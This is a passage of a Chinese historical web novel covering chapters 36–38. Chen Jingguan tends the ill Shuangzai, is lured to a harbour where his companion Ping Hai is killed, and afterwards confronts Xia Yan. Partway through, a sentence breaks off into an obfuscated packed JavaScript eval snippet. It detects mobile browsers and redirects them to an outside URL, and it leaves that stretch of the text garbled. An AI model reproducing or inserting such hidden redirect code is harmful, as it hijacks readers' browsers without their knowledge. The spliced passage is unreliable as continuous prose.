“无论是西芥,还是济州,或者是凤麟,你都没有?” 陈京观摇着头,江阮脸上的玩味更浓,他手里撑着伞,将伞沿微微倾斜,一串雨滴落在陈京观肩头,陈京观有些不解地侧头看他,只看到江阮似没事人一般继续往前走。 “伞上积水多了,若不倾倒一下,会湿了自己的衣裳。“ 陈京观听了江阮的话一头雾水,他望着那一片深色的印记,开口道:“于是你就淋湿我,换你自己一身干净?” 江阮闻言,便在长街上哈哈大笑,索性如今下雨街上人少,他的行为没有太过注目。陈京观听着他笑完说道:“只是因为恰好你在旁边。” 陈京观听到此时,好像有些明了了。 “所以你是想说,你做的一切,始终都只是在保护自己罢了?” 江阮没说话,但陈京观觉得自己猜对了,可是他并不认同,便继续说:“但你明明能选择另一边。” “若选择了另一边,谁又能知道我正淋着雨。” 陈京观哑然失笑,如今的江阮在他看来比萧霖还能诡辩,不过江阮说话时并不像平日里一般漫不经心,似乎所说真的就是所想。而在陈京观没有观察到的地方,江阮的左肩已被雨水浸湿。 两人说话间走到了陈京观所在的客栈,陈京观没有开口留他,他并不想让江阮见到霜栽。他觉得江阮这个人对谁都能出刀,所有他见过的人都可能成为他的猎物。而江阮也识相的停下了步子,他抬头看了看客栈的名字,将手里的青梅递给陈京观。 “我很感谢你的信任,当然也有可能是我自作多情,”江阮说着说着,笑了一下,“不过无论你出于什么原因,我只能说当你要我发誓的时候,我是真心的。可能我做事的手段有些脏,但我也是依靠这些才活到了现在。” 江阮说罢,又朝着陈京观笑了笑,随后躬身离开。陈京观望着那个雨中渐行渐远的背影,下意识将手里的包袱握紧了些许。 而等他去到楼上的房间,霜栽斜靠在榻上看着他被雨水浸湿的下摆,又看到他怀里抱着的青梅和中药,本来想嘲讽几句,最后又咽了回去。席英接过了包袱,一声不吭地下楼去找掌柜借药罐子,随后就在灶房忙活了起来。 “我寻了一个大夫,他将药配齐了给我的,所以耽误了些时辰。” 陈京观如今面对霜栽还有些不自然,他瞥了一眼霜栽,而她的姿势毫不收敛,那双细白的腿搭在床边,从窗户外吹进来的风撩着她的披肩和发梢,她本就因为发烧而有些红晕的脸上此刻像是被染上了晚霞。 陈京观别过头,找了个绢子擦着被打湿的外衣,他本准备回自己的房中去,可是席英下去煎药了,我怕霜栽有事寻不到人,而他此刻立在房中有些坐卧不宁,他纠结了一会,朝霜栽走过去。 “你病着,别吹风了。” 说罢,陈京观意图上手关窗,可是那窗户临着床榻,他倾身过去,霜栽却没有要让的意思。她顺着陈京观的动作微微抬头,有意将自己的肩膀抬高了半分,那挂在肩上的纱衣便顺势滑落。 纵使陈京观的动作再小心,霜栽还是看到了他因为紧张而绷紧的手臂,她不禁轻笑,可陈京观依旧不看她,他明白她在捉弄自己,她在报那晚在蒋府的仇。 “你赶路辛苦,要不先坐下喝口水。“霜栽说话时的气息吐在陈京观的胸前,她虽未妆发,但长久靠着香料沐浴,那肌肤早就沁入了鸢尾花香,她见陈京观僵着,便将自己的身子抬得更高,“这次,需不需要我喂你?” 果然,她还和小时候一样锱铢必较。陈京观闻言下意识摇了摇头,但是又觉得自己的动作更加怪异,便放弃了手上的动作,转身就想要走。 “你心虚什么?” 霜栽的声音在背后响起,陈京观此刻站也不是留也不是,他平日很少会被人用话堵住,就连江阮那等人物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149765|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他都不放在眼里,可是霜栽,他对她驳不回去。 “我没有心虚,只是回房换件衣服。那个窗户,你自己关一下。” 陈京观没有回头,说罢又在原地站住了脚,有些犹豫地开口:“那晚对不起,我怕蒋铎生疑会对你不利。” 说完,陈京观迈着步子回到了自己的房中。反倒是霜栽,那一句“对不起”凝固了她脸上的笑意,其实她当然明白陈京观的为人,这些天的相处早就改变了她对他的初印象,又或者说是找回了对他的初印象,其实他还是儿时那个口是心非的陈家哥哥。 可是霜栽越与他相处,就越自惭形秽,也就越忿忿。 明明都是没了家的,没了教养的,可他长得很好。而自己,好像与最初的那个孟郁妍全然不同了,成了那泯川江的水,论谁都能取一瓢来饮。 另一侧的陈京观回到房里,甚至有些心有余悸,他换了衣服下楼去找席英,看到那个小小的身影在火灶旁熟练的熬药,手里拿着蒲扇,火光在她的脸上忽隐忽现。 “我来吧,你看着她一天也累了。” 陈京观笑着走过去接席英手里的扇子,但席英侧身躲开了,她指了指旁边的板凳,陈京观也没再推脱,坐到了她旁边。 “这一路辛苦。” 席英闻言摇头,手上的扇子朝陈京观的方向偏了偏。客栈的后院虽也有炉子,但是刚才的雨来得急,店家还没将炉子收进屋子便被雨拦住了脚,此时的泥炉遭了水,立在院子里看起来十分凄惨。而如此一来,席英也只得窝在灶房里生火,这灶房空间不大,空气也不流通,只一会她额角就生出汗来。 陈京观见她依旧不愿意多说,就只好陪她坐着。他对于自己捡回来的这个妹妹其实挺佩服的,她适应能力强,悟性高耐性也高,如若生在阙州,或许能谋个更好的出路,跟着自己倒只剩下辛苦。 “她白天没难为你吧,她那张嘴不饶人。” 席英听出了陈京观的言外之意,她盯着火光缓缓开口:“她其实只是不知道怎么面对你,毕竟她愿意应下蒋铎的差事,说明她对你也存心不良,可你还将她看作妹妹,她现在只是很难说服自己罢了。” 席英的话陈京观何尝不懂,他一边听着一边点头,不过这话从席英嘴里说出来,他倒觉得有些意外。 “她是与你说了什么?” 席英摇头,将身子侧过来对上了陈京观的目光,露出了少有的笑。 “她不用对我说什么,我也早就不是小孩子了。” 陈京观听着席英的话有些愣神,知道她是在回应自己对平海的嘱咐,便笑着伸手去揉她的头,可席英的敏锐怎么会让他得逞,她向右偏了偏身子,躲过了陈京观的动作。 “好啊,一个两个都倒反天罡。等我回了平远军营,拿军法处置你们。” 陈京观努着嘴装出生气的样子,而席英此刻倒显得比他更成熟,她撇了撇嘴继续说道:“谁都有过往,况且她在心里压了这么多年,怎么会轻易透露。再等等吧,或许她会开口呢。” 席英没说错,可谁也没想到,霜栽再开口的时候已经又过了许多年。 三日的药膳调养后,她离开了客栈,席英再起来时只看到空着的床榻和桌上的一支玉钗。那是她们初次相见时霜栽带的,霜栽靠着她的时候,她看了很久。 她将玉钗收了起来,起身敲响了陈京观的房门,陈京观似是早有预料,望着席英轻轻笑了一下。他二人付清了房费,收拾好行囊,准备即刻返回阙州。 36.总角之宴(六) 此时的阙州,陈京观小半个月告病推脱不上朝,纵使萧霖不闻不问却依旧引着崇宁的关注。 那一日霜栽被陈京观抱着从蒋府离开,还未等他走到城门,崇宁就收到了消息。 起初崇宁并没有十足的把握认定,陈京观是因为霜栽的身份才救她,直到蒋铎提及了陈京观看到那枚玉佩后的反常,这无疑坐实了他的身份。 不过还没等崇宁开口,蒋铎已经一身素衣到了威岚坊领罚。 那之后的几天,虽然天气炎热,可他始终穿着立领,萧霖问候了一句,他便答是因潮湿起了疹子有碍瞻观。 不过他这些皮肉之苦受完,此事当然还没有了结,崇宁望着那副蒋铎带来的画像,久久没有出声。 “殿下打算如何?” 蒋铎屈着腰,眼神也随崇宁一起盯着那副像。 陈京观进京这小半年,就是蒋铎也很少能见到他,而陈京观又与萧霖走得近,崇宁不好私下去见他一面。 不过到了此时,她也不需要遮掩什么了,桌上那张像画出了陈京观的七分样貌,可崇宁已经在脑海里记下了十分。 她看罢,伸手将那副像拎起来,还没等蒋铎伸手去接便听到它应声落地。 “你觉得呢?” 蒋铎了然,他向崇宁行礼后退出了威岚坊,与他一同离开的,还有快马去往济州的哨兵。 三日后,陈京观与席英沿着原路往回走,行至遥州边界时看到了平海。 陈京观有些意外,而平海似有万分紧急的事要说,陈京观示意他稳住,等到他们所在的客栈,平海就立刻将怀里的信递给他,然后道:“此事重大,我觉得要亲自来一趟。” 平海少有这样的神色,陈京观瞧了他一眼,心里生出些许忧虑,他再低头看那信的封页时发现其并没有署名。 根据平海所说,是有人借小孩的手放在了府院门口,那小孩扣了一下门环就跑开了,他打开后看了一眼就驱马来禀报。 而等着陈京观打开,他便看到第一句写着:见到她,有没有想起我。 那一瞬,陈京观的眉头微皱,他耐着性子继续读下去,里面的语气和霜栽如出一辙,等他读完再回头看第一句时,他想到了一个名字,孟遥鹤。 可这些年他不是没查过,孟遥鹤早在孟家被卖往廊州的时候就死在了路上,他想过他或许也会如自己一般假死脱身,可霜栽的话也证实了他的死。 除非,他连自己的妹妹也瞒着。 那封信的最后,留下了一个码头的名字,平海来时打听了,就在济州东侧的都定口,距离他们此时所在的地方,半天就能到。 一份莫名其妙的信,又恰好掐准时机在霜栽离开后送过来,其中深意不言而喻。 但是知道霜栽身份的就那几个人,陈京观想着,脑海里便冒出一个名字。 只是他没想明白,此刻引他去都定口有何意义,若想杀他,早在前几日就可以动手了,甚至带着霜栽的他还会多有顾虑。 还没等陈京观想清楚其中缘由,他们的房门就让店小二敲开了,那店小二一脸怯懦地进来,只见他手里也拿着一封信。 “贵人,刚有人托我家掌柜给您送信。” 说罢,那店小二将手里的信放在桌上,但他的动作像是急于摆脱纠缠他的恶鬼,脸上的厌恶和恐惧被陈京观一览无余。 “你看到送信的人了?” 店小二闻言点头,还没等陈京观再说话,那店小二就跑到窗边边指边说:“就是他。” 陈京观顺着他手指的方向望,只见一个拄着拐的老人正朝长街另一头走去,他佝偻着腰看起来与寻常老人并无不同。 “你为何如此害怕他?” 店小二咽了咽口水,小心翼翼地张口:“那是都定口刑场的刽子手。许是手上沾的血多了,大家伙总觉得他周身阴气重。” 陈京观听了店小二的话有一丝纳闷,他是不信这些江湖传言的,但是对方选这个人来送信必定有他的道理。 他打发了店小二,又和平海两人回到桌边。他此时看着桌上的信,那封页上多了一只仙鹤,不过它不似寻常展翅的形态,而是侧着身躺在一条河道旁。 “故弄玄虚。” 陈京观自言自语,但还是忍不住去开桌上的信件,可他刚将信封拿到手上,就察觉到了不对。 那里面似乎并不是纸张,他偏过头与平海对视一眼,有些迟疑的将信封开了个口子,见一缕用红绳捆绑好的头发赫然在内,等陈京观将它拿出来时,发现上面还沾着血迹。 “同样的招数要用两遍吗?” 他虽然嘴上这样说着,可平海看到陈京观拿着信的手下意识攥紧了。 “仅凭这个,也没法断定是孟家小公子,师兄你……” 平海的话还没说完,陈京观就抬手打断了他,他又朝着刚才店小二所指的方向看过去,那个老人的身影已经不见了,楼下的叫卖声不绝于耳。 他知道这是陷阱,可他抑制不住要跳下去的心。 于是三人在济州又停留了两日,这两日他们除却每天下楼吃饭,基本不会踏出房门半步。 为了安全,席英的卧房换到了陈京观旁边,这两个房间只隔一扇门。 不知为何,陈京观总感觉有一双眼睛在盯着自己。 虽说在西芥时他也有这种感觉,但那时并不强烈,直到现在,他觉得那已经不仅仅是目光,更像是刀剑反射出来的寒光。 等到第三天一早,街上的市集还在一片静谧中,陈京观的外窗却立着一个信鸽,它用嘴啄着木框。 陈京观这几日本就有些失眠,听到窗外的动静他便立刻起身去看,那信鸽看见窗户被打开,就飞进屋里停到了桌上。 陈京观伸手去取它腿上的信匣,这次的小纸条上只有简单的一句话:那日替你死的,是吴权的孙子。 屋内的动静吵醒了平海,那信鸽见任务完成就顺着原来的路线又飞了出去。 平海目送它离开,随后起身去看那纸条上的留言,还未等他开口,陈京观便解释道:“吴权是我家之前的管家,是在父亲小时候就跟着他的仆人。” 而他的孙子,也是打陈京观记事起就跟在他身后的书童。 这次送来的信指向性更明确了,可是它背后的人却越加模糊了。 崇宁需要借助霜栽来探听自己的身份,那她怎么可能知道替死的人是谁。可孟遥鹤却的确能知道,毕竟陈京观昏迷的那几日,孟家兄妹完全有机会问到事情的原委。 想到这,陈京观突然发笑,他现在最后悔的就是因为自己这可笑的自尊心,而没有与霜栽好好聊聊,以至于走到了对方步步为营设下的埋伏前,他还不得不跳。 “你与席英先回去,这次我一个人去会一会他。” 陈京观说罢就开始收拾包袱,而平海也从他的话里听出了孤注一掷,他便不论如何也要跟着陈京观一起。 到最后,又成了他们三个人往都定口的方向去。 这都定口,其实是一个与益州差不多小的州县,只因地处沿海,又是整个大陆最适宜近岸捕捞的地方,所以商业发展得不错。 而金钱的温床旁往往睡着罪恶,这里便也滋生了许多别有用心之人甚至是海盗,所以东亭最大的刑场也设在这里。 以前东亭皇室每年十一月海水封冻前会将所有重刑犯拉到海滩旁问斩,那些人的血液会随着海水流进大海。 按照东亭异闻录记载的来说,就是将他们的命祭司给海神,以此来平息过去一年人们对于海洋的掠夺。 陈京观少时对于奇闻逸事的兴趣大过大家学说,故而知道不少别国的奇异风俗,其中东亭便是最信这一套宗教迷信的地方。 此时他站在便北梁皇帝废除掉的东亭旧刑场旁,似乎还能闻到随着海风吹过来的血腥气。 “平海,你说东亭的覆灭会不会也是海神发威?” 平海喜欢听陈京观讲故事,所以一听他提到“海神”,便知道他意有所指。他听着陈京观的话笑了笑。 倒是席英前半辈子都生活盛州的小山坳里,如今第一次看见海,被眼前的景色震惊地说不出话来。 “走吧,魑魅魍魉总要在夜里才能现身。” 此时酉时三刻,海边全是刚赶回来的渔民,各家的女子用篮子提着给家中男人的饭, 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“当时修了刑场后,这周围出生的孩子就多有残疾,当地的祠堂长老说是坏了风水,结果那么大一个家族,全都被发配到瀛洲煤矿做苦力。” 陈京观坐下,将身边的两个人拉近了些说道。 等他说完,席英又回头看了看那个小姑娘,犹豫了半天,从怀里把霜栽那支玉钗拿了出来,趁店家不注意也放进了钱篓里。 陈京观没说话,等着她坐下才拍了拍她的肩,许诺她回了阙州一定给她打一个独一无二的簪子。 三个人就这么坐着,旁边的渔民吃完朝那对夫妻打了个手势,那对夫妻摆了摆手,然后就看到渔民将自己今日收获的小银鱼都倒到了摊子旁边的筐里,小鱼一个劲儿扑腾着,小姑娘就拿了个砖块压到了上面。 “三碗,好了。” 许是小姑娘平日也不常与人说话,她的话总是断断续续,不过陈京观理会了她的意思,等她颤颤巍巍端过来一碗的时候就跑到摊前去帮忙。 可就在时,在摊子上剁鱼的男子突然挥刀朝陈京观跑来,他立刻拿手里的碗向对方砸过去,下一秒就拔出腰间的佩刀。 本来没看清发生了什么的平海,突然被席英推了一把,只见那个小女孩不知从何处拿出一把匕首,直冲着平海的脖颈处刺去。 原本温馨祥和的画面因为男子的暴起终结,周边的渔民没弄清楚情况,却已经开始围攻过来,顷刻间三人就被包围在了中间。 “不是,是不是有什么误会?” 陈京观手里的刀往下压了压以表示善意,他望着小姑娘希望她能解释一下,可是那小女孩脸上突然闪过一丝笑容,紧接着就开始大哭,她哭得声嘶力竭,周围就更群情激愤。 眼见着渔民手里的锅碗瓢盆都要朝自己过来了,陈京观一时间哭笑不得。 他不想伤害这些人,便试图挥舞手里的刀来震慑他们,但是并没有起到作用,反而被面前的男子拿砖块拍在了头上。 那一瞬,他只觉得天旋地转,他听不太清席英在说什么,只是凭感觉靠在了身后人的背上,让自己努力站住脚。 等他回过神来,只听不知从何处发出“嗖”的一声,他面前便落下一支箭,他试图推开人群走,但是他动身的一瞬,才发觉不是自己靠着平海,而是平海靠着自己。 平海落地的瞬间,陈京观听清了席英的话,她脸上挂着泪,嘴里声嘶力竭道:“是那个小姑娘!” 他再看平海时,他的胸口插着席英的那支玉钗,他的血顺着玉钗流了一地。 看到血,周围的渔民也都慌了神,纷纷四散着往回跑。 陈京观让平海靠着自己,一边背着他往拴马处跑一边喊着他们救人。 可是人们早就收拾好东西离开了,没有一个人肯为这场暴乱买单。 此刻若他们再转头,便能看到那对聋人夫妇,也倒在了摊位旁。 傍晚涨潮的海水洗刷着沙滩上的血迹,试图冲掉了此处发生过的一切。 直至此时,日落西山,陈京观没有等到装神弄鬼的人,可见识到比鬼神更可怕的东西。 等他行至最近的医馆时,他背上的人已经没了呼吸。 37.前度刘郎(一) 陈京观离开阙州时,是三人成行,回来时,也是如此,不过此时是平海的马拉着一个简易的板车跟在席英后面,而陈京观依旧在最后。 如今的气候一天天热起来了,陈京观不能给平海盖太多东西,他躺在板车上难免让人侧目,但陈京观不在乎了,他只想要让他回家。 这几日他常能幻听到平海叫自己师兄,可转身看的时候他就安静地躺在那里。 陈京观甚至没有想清楚发生了什么,可这一切就这样发生了,他头上的血痂退掉了,在他的眉尾留下了一道浅浅的伤疤。 他这几日真的好想说话,从未比此时更有倾诉的欲望,可是能陪他说话的人没了,席英虽然看上去还算镇定,但是眼神空洞也像是失了魂一般。 她这几日一直在想,自己为什么会给那个小姑娘玉钗,而她又为什么不如自己想的一般,她记得自己小时候跟母亲去街上卖东西时,神情明明与她没差。 那种艳羡而有渴求的目光,她不会看错的,她不应该的。 这一路,他们比往常任何时候都走得急,也比任何时候都更静。 陈京观想了很多,从那三封信,到突然出来的摊位,甚至想到了夏衍,过去的一切在此刻都变成了有迹可循的证明,他能怪的只有自己的冒失,自己的冲动。 但若再选一次,他还是会来,但是会坚持一个人来。 那个人知道他的身份,知道他的软肋,甚至明白他想要什么,但是那个人没有直接来取陈京观的命,这是陈京观最不解的地方。 事后他听席英说起那女孩当时直接挥刀刺向平海的事,那个女孩的目的一直很明确,从人群中消失,再到冲进来刺杀,她每一次的目标都是平海,甚至最后的动作都是一击毙命。 可这是为什么,平海几乎将自己所有的时间都留给了公务,而且以他的性子,不可能惹到能追他到都定口的仇家。 这件事情太奇怪了,可这奇怪中又透露着半遮半掩的真相。 陈京观就这么一路想着,等回到阙州已是七月末,而八月初七,是平海的生日。 他进了城就换了自己走在前面,等快到府院门口时,他望见了等在那里的平芜。 少年一月不见,似是又长高了不少,陈京观看他,突然忍不住鼻酸,他越长大,就与平海越像。而平芜没有如陈京观意料中一般哭闹,他笑着接下了陈京观的缰绳,头也不回的去了马厩。 陈京观与席英将平海安置在了后院的乌篷下,而平芜直到平海出殡前都没有进过后院。 五日后,陈京观为平海打的棺木好了,可平芜拦下了要送葬去雍州的马队,他看着陈京观,平静地开口:“葬在阙州吧,我还能常去看看他。” 马队为首的人瞧着陈京观的反应,而后者向前走了两步,站定在平芜面前。 他多希望眼前的人能哭一场,或者怨自己几句,可是平芜安静得就如躺在里面的平海,面对这样的他,陈京观说不出一句话。 “我不想让娘知道。” 平芜见陈京观不言语,就继续说道,他说完迈着步子朝棺木走。 今早入殓的时候是他这些日子第一次看见哥哥,他觉得他瘦了,又或许是因为已经有些脱水,他想上手去摸摸他,但是手指停在了他的鼻尖。 他不知道自己为什么哭不出来,但是他的眼泪就像是涩住一般。 也是在那时,他明白了为什么从八年前父亲去世,哥哥就不爱说话了。 他其实本来想着等他生辰亲自给他做一碗长寿面的,他这些日子试了很多次,他觉得他学会了,哥哥会喜欢的。 可如今他躺在那小小的匣子里面,以后就再也见不到了。 平芜盯着眼前的红木棺,用手轻轻抚着棺盖,喉咙里像是梗了一根很长的刺,他想张口,可嗓子连着心一起疼。 直到最后,他也只是小声贴着棺木喊了一句“哥”。 “师兄,院子后面的桃园,能葬吗?” 陈京观看着平芜,他的头依旧靠着棺木,但是微微转头盯着自己,他想要开口,但最后只剩下轻轻点了点头。 马队得到了指令,便抬着棺木朝后山走去。 陈京观的宅子位置偏,旁边临着一片桃树林,当时卖院子的生怕陈京观不要那片林子,好声好气迂回着点他,可他不知道的是,陈京观就是看上了那片桃林才选在了这里。 平海的丧事办得简单,原本大家在阙州认识的人就不多,陈京观让席英给邻居街坊送了帖子,然后让平芜去阙州叫夏衍一趟。 葬礼是从清晨开始的,陈京观找了当地的堂会为平海做了法事,然后带平芜和席英帮着马队在后山选好了地方,埋葬了平海。 他们没有给他立碑,但是平芜为哥哥选了一棵树,他当时刚来阙州觉得新鲜,骑马在乡道上跑的时候撞翻了一个挑扁担的大伯,平海就是用那棵树的枝条狠狠抽了他三下。 等到葬礼结束,白宴也就开始了。 那时陈京观才知道,原来大家都记下这个沉默寡言的年轻后生。 那日来的人很多,有些人远远的朝平海的灵位拜了一下,留下的多是平日与他们相熟的,几个年纪大些的婶子握着平芜的手就开始哭。 而夏衍,整场丧事都站在人群的外面。 其实从他进了这条街,陈京观就看到他了,但是夏衍似乎是有意躲着他,一直是一身黑衣低着头,就连中午吃饭时候,他也选在了最靠角落的座位。 其实陈京观本不怀疑他的,可他越这样,陈京观就越想问个清楚。 “夏把总,好久不见啊。” 陈京观端着酒杯走到夏衍桌前,他身旁的多是平日里与陈京观亲近的乡民,如今一听这里坐着个官,便三三两两吃了几口就走,没一会这桌子就剩下夏衍一个。 “少将军说笑,我一个小小巡防营把总,怎么配得上您来给我敬酒。” 夏衍还是原来的模样,他的客气里更多的是疏离和谨慎,他说着站起身端着杯子弯下了腰,陈京观盯着他,深吸一口气继续说道:“不知夏把总可是吃罢了,不妨我们换个地方?” 夏衍知道这是陈京观给自己递的台阶,他忙说道:“吃饱了吃饱了,少将军有何吩咐悉听尊便。” 陈京观听罢,端着酒杯跨出了宴会厅,夏衍便紧跟着他走,两个人一直走到了后院,陈京观才停下身。 他转身时微微抿了一口酒,那股辛辣的味道让他皱眉,而夏衍此刻对眼前的人可谓是风声鹤唳,看到陈京观的表情变了,他立刻想要下跪,可下一秒就被陈京观用手扶住了。 陈京观手上的力气很大,他抓着夏衍的胳膊,似乎还在使劲。夏衍咽了口唾沫,主动开口。 “您是为了当日我找平大哥的事而怀疑我?” 陈京观没有应他,夏衍也不敢看眼前的人,他的胳膊一直被陈京观擒着,他也一直低着头不敢看他。 “他应该和您说了我问他的话,那些问题确实多有冒犯的意思,您要打要罚,我都认。” 夏衍说罢又将头低了低,而陈京观松开了他的胳膊,用那只空出来的手捏住夏衍的下颚,逼迫他抬头看着自己。 “你知道冒犯,怎么还敢问?是崇宁还是蒋铎?” 陈京观说话时力气越来越大,让夏衍的眉头不禁皱起,可是他强忍着,努力保持一张笑脸。 “我也只是受命行事,少将军不要难为我。” 听了夏衍的话,陈京观不怒反笑,可是那个笑夏衍的看得出其中意思,陈京观松开了他,但是下一秒就将杯中的酒倒在了他脸上。 “行,那我换个问题,”陈京观用几乎咬牙切齿的声音贴到夏衍耳边说道,“你是靠什么爬着么快的,夏把总?” 这个问题问完,陈京观就感觉到眼前的人身子一怔,下一秒他就跪在地上一个劲儿叩头,直到让自己的额头被沙砾磨出血印。 “我夏衍发誓,我没有 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他那时候以为这味道是阙州留下的,现在才知道,是里面这些诸如夏衍一般的小孩留下的。 话说到这个份上了,夏衍的所有羞耻心和自尊心,全都被他跪在了膝盖下面,他已经很久没有昂着头说过自己的名字了。 他等着陈京观下一步发落,可心里倒坦然了不少。 “你自愿的?” 夏衍没回应,他思索了片刻像是有些恍惚,他的手指因为反复搓磨已经出血,可他依旧下意识地扣着,直到那一块皮肤彻底脱落,他的话也跟着落了出来。 “是。” 陈京观在他犹豫的时候其实替他开脱了许多次,但是全然比不上他这一句“是”更有份量。 他盯着眼前的夏衍,不自觉地摇头,而嘴角只能勾出一抹苦笑,夏衍看着陈京观的反应,也陪着自嘲地笑了一声。 “少将军,我要是不做,我甚至连到您身边打探消息的机会都得不到,他们甚至不会给我选择。” 夏衍顿了一下,用舌尖舔了一下嘴角的酒,陈京观从未见过有人睁着眼睛却似此刻的夏衍一般毫无生机。 他像是认命了,也没等陈京观说话,就自己站了起来,他拍了拍衣服上的灰,下一秒给了自己一巴掌。 “我对不起您,以后您要有事,也尽管吩咐。” 说罢,夏衍朝着陈京观鞠躬,他的腰几乎弯折,久久也不愿抬起,不知为何陈京观有些心酸。 想当初自己愿意打破计划提前来这阙州,夏衍这双悲悯又满怀愧疚的眼睛功不可没。 他以为他能救下这些孩子,可是现在,他们跪着求自己饶命。 “夏衍,你的背还能背多少债?若有一日我与她发出相反的命令,你又当如何?” 夏衍闻言,弯着的腰稍微抬起来了一些,他压着声音说道:“若真到那时,少将军帮帮我吧。” 他说完,看到了陈京观握紧的拳头,可是他意料中的敲打没有落下,反而是肩膀被人轻轻扶起,他缓缓起身,陈京观的眼睛就一直看着他,如同那日在城门口一样。 “我现在就帮你,行吗?” 夏衍有些愣神,他彷佛没有听清陈京观在说什么,直到他又开口:“在阙州我保不了你的家人,可是你若愿意,我能让他们在雍州衣食无忧。” 那一瞬,夏衍原本止住的泪水将双眼模糊,他抿着唇想说什么,可是心里的话太多他竟不知道从何说起。 陈京观看得出他的纠结,此刻的他神情缓和,用那支停在夏衍肩膀上的手拍了拍他,说道:“你要记住,求人不如求己。” 夏衍闻言点头,可是转瞬他的脸上又是乌云密布。 “平大哥的死,与我有关吗?” 陈京观怔了一下,轻轻摇头,他此刻抬头就能看见那片梅林,好像也能看见那棵树。 “是我害了他。” 38.前度刘郎(二) 八月的开端算不上好,甚至因平海的离开让原本就人丁稀落的院子更寂静。 平芜从那时起充当了平海的角色,每逢陈京观上朝就骑着马护送他去崇明殿,而席英有时在家无事可做,倒是拾起了小时候深恶痛绝的手艺,去隔壁刘婶家学了刺绣。 那一日她手上沾着平海的血,已经很久没有再拿起刀。 而平芜依旧也寻着平海定下的规矩,每日卯时就开始晨练,没有席英与自己作伴,他就拿院内那棵树做对手,不过手里换成了儿时陈京观给他的木剑。 日子久了,那树身上了也密密麻麻散布着痕迹。 陈京观在平海葬礼后找平芜聊了聊,他不想再躲了,他承认因为他那不自知的怯懦,已经办砸了很多事情。 他将平海一直随身携带的匕首递给了平芜,平芜没说话,用手抚摸着刀鞘,然后将它抱在了怀里。 “我爹……是不是如陈伯伯一样?” 平芜的声音在月色下显得凄凉,他目视前方,陈京观不知道他在想什么,但是“嗯”了一声以作回应。 “其实我很早之前就知道了,每到了四月哥总要跟着你去雍州,无论手上有什么活都要先搁下。那次我求着你带我去,他也没说话,我觉得他也是想让我知道的。” 平芜说着,曲起膝用将手搭在上面,然后将头靠在手上望着天。 陈京观侧身看了他一眼,席英说得没错,他们都长大了,距离广梁水患已经快过去两年,他也已经是十六岁的人了。 但陈京观心里觉得,若没有平海的离开,或许平芜还可以再快乐几年。 陈京观心里想着,就将手搭在平芜肩上,暗暗说了一句“对不起”,可平芜摇头,身子朝陈京观的方向靠了靠,他还是盯着月亮。 快到十五了,这月亮其实已经成了玉盘的形状,但它今夜亮得灼眼,平芜看着它,脸上不知不觉湿了一片。 “你没错,哥也没错,错得是这个世道,是那些拿人命不当命的人。” 平芜说罢,终于肯转头让陈京观看看自己,陈京观瞧见他脸上的泪痕,刚要用手去抹,却被平芜笑着挡开了,他说着话,眼泪也跟着喷涌而出。 “让我哭吧,前几日我怎么也哭不出,我甚至怀疑我铁石心肠,那可是哥哥,我怎么能哭不出来。但是刚才看到最后一捧黄土盖在他的棺上,我忍了半天才没让眼泪流出来。师兄,我再也见不到他了。” 平芜的话像一把刀子一样插在陈京观心上,他一时间也觉得喉咙发涩,便只能一下一下拍着平芜的背,又将他往自己怀里搂了搂。 “师兄,你那时候,也这么难受吗?” 陈京观闻言先是一愣,随后点头道:“就因为疼在骨子里了,所以忘不掉,所以执拗地想去找个真相。” 可他咽下了后半句。 我错了吗? 这是他这些日子一直想的问题,他觉得自己太过草率了,只凭自己满心的自以为是,怎么敢到阙州城来。 可是平海接过了他的话,他看着陈京观,努力在脸上露出一个笑。 “哥没找到的真相,我陪你找。” 那一刻,陈京观原本以为自己可以抑得住鼻腔上涌的酸涩,可抬手的时候依旧感觉到了脸上的潮湿。 他用头抵着平芜,那些自我怀疑被另一个词取代了,他知道那叫作孤注一掷。 不过席英的心思比平芜更深,正如她说的,想让她开口,要等她自己愿意的时候。 于是陈京观没去问她的反常,但遵守了那日的约定,在阙州最好的首饰铺给她打了一支簪子,上面的鸟首配着一颗夺目的红玛瑙。 席英收下了它,将它与父亲的佩剑放在一起。 三个人的日子就这么过着,很快到了八月十五。 这一日陈京观原本也打算退掉萧霖的宴请,想着与家中两个小孩一起去阙州逛灯会,然后回桃林好好喝一场,但是他听到了苏晋要来的消息。 苏晋年轻时身体很好,陈京观记得父亲常打趣苏伯伯应该带兵打仗,不然空有一具高大的身子,而苏晋就反驳道,要论打仗恐怕当时的大将军也比不得陈频更善兵法。 只是谁也没想到后来竟一语成谶,陈频当真作为参谋去了战场。 而陈家寥落后,苏晋的身型也随之萎靡,没过多少时日就诱发了劳疾。 萧霖见状将他调出了吏部,给了他一个翰林学士的名号让他在家修养,每日誊抄一些古籍旧书。 不过这一举也保下了他性命,那时起崇宁的暗卫就逐渐撤离了苏府,如今苏晋将宅子修在崇州附近,一个人过着“采菊东篱下”的日子。 陈京观入京后想过要去拜访苏晋,但是要以什么身份去,他始终没想明白,且论他现在的处境,或许他这一去,又要给苏晋惹上不少是非。 也就是那一日偶遇苏清晓,他才能从其口中探听一二。 不过依着江阮的话,苏清晓离家多年,恐怕苏晋也多是报喜不报忧,于是他应下了萧霖的邀请,在八月十五一早就进了宫。 他临走时还拿上了薛磐给自己的梨木簪。 这一次进崇明殿,他明显能感受到宫里过节的氛围,其实早在阙州那几条主街上就已经有所显现,不过等陈京观踏进那长阶,两旁全是四色缤纷的菊花,宫人们马不停蹄地给各种贵人送着司礼局分配下来的赏赐。 得势的娘娘连带着她的宫女都显得容光焕发,而一些被冷落的,在此时就显出了差别,去的宫女多是冷着脸回来,手上提着略显应付的礼品。 陈京观进崇明殿前就打听了宸妃的住所,不过他作为外臣不得入内,他就在司礼局门口徘徊了一会,瞧见一个有些年岁的姑姑从司礼局提了一盒糕点,她身后的小宫女们捧着几盆已有颓相的□□。 “敢问姑姑可是宸妃娘娘府上的?” 那姑姑应该是在宫里待了许久,而陈京观今日又穿着一身素服,便把他错认成了来投报的学生。 